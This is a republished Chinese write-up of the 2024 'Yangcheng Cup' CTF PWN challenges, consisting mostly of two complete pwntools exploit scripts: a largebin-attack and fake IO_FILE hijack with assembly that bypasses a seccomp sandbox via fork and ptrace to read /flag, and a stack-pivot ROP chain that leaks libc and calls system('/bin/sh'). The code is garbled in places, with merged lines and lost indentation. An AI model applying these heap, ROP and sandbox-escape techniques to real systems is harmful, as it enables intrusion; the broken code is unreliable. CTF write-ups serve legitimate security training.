2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

2024-09-04 18:44

本文主要是介绍2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

    • hard+sandbox:
        • ptrace 系统调用概述:
    • logger:
    • pstack:

[X] 🛰:ly3260344435
[X] 🐧:3260344435
[X] BiliBili:鱼影信息
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛,CTF培训等
欢迎师傅们交流学习,加我可以拉粉丝群~

hard+sandbox:

这题难点在于绕过沙盒的限制,但是这里openopenat都禁用,
并且固定执行环境,很难通过平替函数 或者篡改cs切换执行环境来执行open函数

在这里插入图片描述

发现大堆的申请限制+uaf漏洞 直接largebin attack+IO就能完成劫持rip

在这里插入图片描述

glibc2.36这里使用了一个magic_gadget来配合使用setcontext完成劫持

0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]

这里大牛指导了我一下,使用ptracehook->seccomp

ptrace 系统调用概述:
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。 
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。 
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。 //PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。 //pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。 //data:
//PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。

fork开启一个子进程 如果 pid 为 0

表示当前代码块是在子进程中执行的,否则是在父进程中执行的

然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程

调用 wait 函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作

接下来对seccomp设置子进程的监控选项, PTRACE_O_TRACESECCOMP 使得父进程能够接收到 seccomp触发的信号。然后继续执行子进程 PTRACE_CONT

等待 seccomp 触发 wait(NULL); 父进程会在这里阻塞,直到接收到子进程的 seccomp 触发事件。

这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过

在这里插入图片描述
只需要将C语言代码转换为汇编执行就行

from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as scu64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)FILENAME='../pwn5'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='124.223.76.251'
port=9999
# p = remote(ip,port)libc=ELF('../libc.so.6')def command(option):
p.recvuntil(b'>')
p.sendline(bytes(str(option),'utf-8'))def create(idx,Size):
command(1)
p.recvuntil(b'Index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
command(2)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
command(3)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def show(id):
command(4)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1
#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'\x00')
fake_IO+=p64(orw_add-0x8)#lock
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'\x00'*0x20
fake_IO+=p64(B)+p64(gg)mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscallxor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp endchild_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)
command(5)p.interactive()

logger:

pstack:

在这里插入图片描述
直接溢出0x10字节但是没有地址,不能直接弹shell需要先泄露libc地址

在这里插入图片描述
可以看到整个ROP很有用,再次的read和leave;ret;可以刚好完成栈迁移,
因为第一次的溢出已经把rbp改成了bss段上面,然后再次的leave;ret;直接迁移过去就行

system执行的时候会大量push操作,会把栈抬高,需要迁移的bss段要在很下面,
不然会导致栈被抬高至不可写地址导致失败

from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('3.1.19.2', 8888)
libc=ELF('../libc.so.6')
ret=0x0000000000400506
rdi_ret=0x0000000000400773
leak='puts'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x400540
bss=0x601000+0x500
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
leak_add=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))
bss=0x602000-0x50
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
execve=0xebc88+libcbase
xor_edx=0x00000000000a8558+libcbase
payload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
p.interactive()

这篇关于2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1136724

相关文章

Java 正则表达式URL 匹配与源码全解析

《Java正则表达式URL匹配与源码全解析》在Web应用开发中,我们经常需要对URL进行格式验证,今天我们结合Java的Pattern和Matcher类,深入理解正则表达式在实际应用中... 目录1.正则表达式分解:2. 添加域名匹配 (2)3. 添加路径和查询参数匹配 (3) 4. 最终优化版本5.设计思

使用Java将DOCX文档解析为Markdown文档的代码实现

《使用Java将DOCX文档解析为Markdown文档的代码实现》在现代文档处理中,Markdown(MD)因其简洁的语法和良好的可读性,逐渐成为开发者、技术写作者和内容创作者的首选格式,然而,许多文... 目录引言1. 工具和库介绍2. 安装依赖库3. 使用Apache POI解析DOCX文档4. 将解析

Java字符串处理全解析(String、StringBuilder与StringBuffer)

《Java字符串处理全解析(String、StringBuilder与StringBuffer)》:本文主要介绍Java字符串处理全解析(String、StringBuilder与StringBu... 目录Java字符串处理全解析:String、StringBuilder与StringBuffer一、St

Spring Boot循环依赖原理、解决方案与最佳实践(全解析)

《SpringBoot循环依赖原理、解决方案与最佳实践(全解析)》循环依赖指两个或多个Bean相互直接或间接引用,形成闭环依赖关系,:本文主要介绍SpringBoot循环依赖原理、解决方案与最... 目录一、循环依赖的本质与危害1.1 什么是循环依赖?1.2 核心危害二、Spring的三级缓存机制2.1 三

C#中async await异步关键字用法和异步的底层原理全解析

《C#中asyncawait异步关键字用法和异步的底层原理全解析》:本文主要介绍C#中asyncawait异步关键字用法和异步的底层原理全解析,本文给大家介绍的非常详细,对大家的学习或工作具有一... 目录C#异步编程一、异步编程基础二、异步方法的工作原理三、代码示例四、编译后的底层实现五、总结C#异步编程

MySQL中FIND_IN_SET函数与INSTR函数用法解析

《MySQL中FIND_IN_SET函数与INSTR函数用法解析》:本文主要介绍MySQL中FIND_IN_SET函数与INSTR函数用法解析,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一... 目录一、功能定义与语法1、FIND_IN_SET函数2、INSTR函数二、本质区别对比三、实际场景案例分

Java图片压缩三种高效压缩方案详细解析

《Java图片压缩三种高效压缩方案详细解析》图片压缩通常涉及减少图片的尺寸缩放、调整图片的质量(针对JPEG、PNG等)、使用特定的算法来减少图片的数据量等,:本文主要介绍Java图片压缩三种高效... 目录一、基于OpenCV的智能尺寸压缩技术亮点:适用场景:二、JPEG质量参数压缩关键技术:压缩效果对比

关于WebSocket协议状态码解析

《关于WebSocket协议状态码解析》:本文主要介绍关于WebSocket协议状态码的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录WebSocket协议状态码解析1. 引言2. WebSocket协议状态码概述3. WebSocket协议状态码详解3

CSS Padding 和 Margin 区别全解析

《CSSPadding和Margin区别全解析》CSS中的padding和margin是两个非常基础且重要的属性,它们用于控制元素周围的空白区域,本文将详细介绍padding和... 目录css Padding 和 Margin 全解析1. Padding: 内边距2. Margin: 外边距3. Padd

Oracle数据库常见字段类型大全以及超详细解析

《Oracle数据库常见字段类型大全以及超详细解析》在Oracle数据库中查询特定表的字段个数通常需要使用SQL语句来完成,:本文主要介绍Oracle数据库常见字段类型大全以及超详细解析,文中通过... 目录前言一、字符类型(Character)1、CHAR:定长字符数据类型2、VARCHAR2:变长字符数